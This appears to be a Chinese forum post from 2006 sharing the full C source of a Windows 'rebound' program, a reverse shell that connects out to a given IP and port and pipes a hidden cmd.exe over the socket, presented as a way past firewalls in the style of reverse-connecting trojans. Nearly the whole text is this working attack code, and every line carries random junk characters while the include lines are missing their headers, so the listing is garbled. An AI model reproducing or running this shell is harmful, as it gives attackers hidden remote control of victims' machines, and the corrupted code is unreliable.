这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :<H8'4>
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/* ============================== Pubv$u2
Rebound port in Windows NT q(gjT^aN
By wind,2006/7 P].eAAXnP
===============================*/ `kFiH*5 %z
#include r_^)1w
#include Tpb"uBiXoo
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#pragma comment(lib,"wsock32.lib") grspt}
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void OutputShell(); `;$h'eI9
SOCKET sClient; ->h5T%sn
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h,t:]
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void main(int argc,char **argv) q6REh;$
{ B)M&\:
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WSADATA stWsaData; &pL/
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int nRet; l[oe*aYN7
SOCKADDR_IN stSaiClient,stSaiServer; Lc|{aN
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if(argc != 3) q*bt4,D&Es
{ tb,9a!?
printf("Useage:\n\rRebound DestIP DestPort\n"); Plfdr~$
return; B$?^wo
} 9,scH65x
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bd&`Xfebj
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stSaiClient.sin_family = AF_INET; gw+eM,Yp
stSaiClient.sin_port = htons(0); gfN2/TDC]P
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); epkD*7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n'M>xq_
{ 9 I{/zKq
printf("Bind Socket Failed!\n"); 8Q=ZH=SQK
return; ezUQ>
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} RYy,wVh}
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stSaiServer.sin_family = AF_INET; Q+'nw9:;T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,EI:gLH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #K4*6LI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o_$&XNC_
{ ($8t%jVWJJ
printf("Connect Error!"); I ]9C_
return; \f%.n]>
} ^_W40/c3
OutputShell(); >g}G}=R~3
} e;h,V(
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void OutputShell() 0[Eb .2I
{ ykmv'a$-4
char szBuff[1024]; |>+uw|LtZ
SECURITY_ATTRIBUTES stSecurityAttributes; |##GIIv;i
OSVERSIONINFO stOsversionInfo; (%'9CfPx
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .Y\EE;8%
STARTUPINFO stStartupInfo;
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char *szShell;
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PROCESS_INFORMATION stProcessInformation; /iG7MC\`
unsigned long lBytesRead; p!DP`Ouc3\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jDX>izg;V
stSecurityAttributes.lpSecurityDescriptor = 0; a
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stSecurityAttributes.bInheritHandle = TRUE; {v,)G)obWw
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9]7u_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jatr/
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HdNnUDb$B
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !0"nx{7.
stStartupInfo.wShowWindow = SW_HIDE; izuF !9
stStartupInfo.hStdInput = hReadPipe; /{*$JF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Qihdn66
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GetVersionEx(&stOsversionInfo); #{PmNx%M
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switch(stOsversionInfo.dwPlatformId) 2*AG7
{ <[i}n55
case 1: n >FY?
szShell = "command.com"; e|lD:_1i
break; izwUS!5e
default: v~=\H
szShell = "cmd.exe"; #ekM"p
break; ea9oakF
} DNP@A4~
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Apfnx7Fv
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send(sClient,szMsg,77,0); MbA\pG'T
while(1) H"Dn]$Q\Z
{ ;rR/5d1!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %!|O.xxRR
if(lBytesRead) E^CiOTN
{ z]@6fM[
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c$h9/H=~
send(sClient,szBuff,lBytesRead,0); h"W8N+e\
} 5zB~4 u
else -t-tn22
{ [*4fwk^
lBytesRead=recv(sClient,szBuff,1024,0); =.Tv)/ea
if(lBytesRead<=0) break; lFq{O;q7}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +!yXTC
} bw S*]!*
} z&}-8JykH
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return; DBgMC"_
}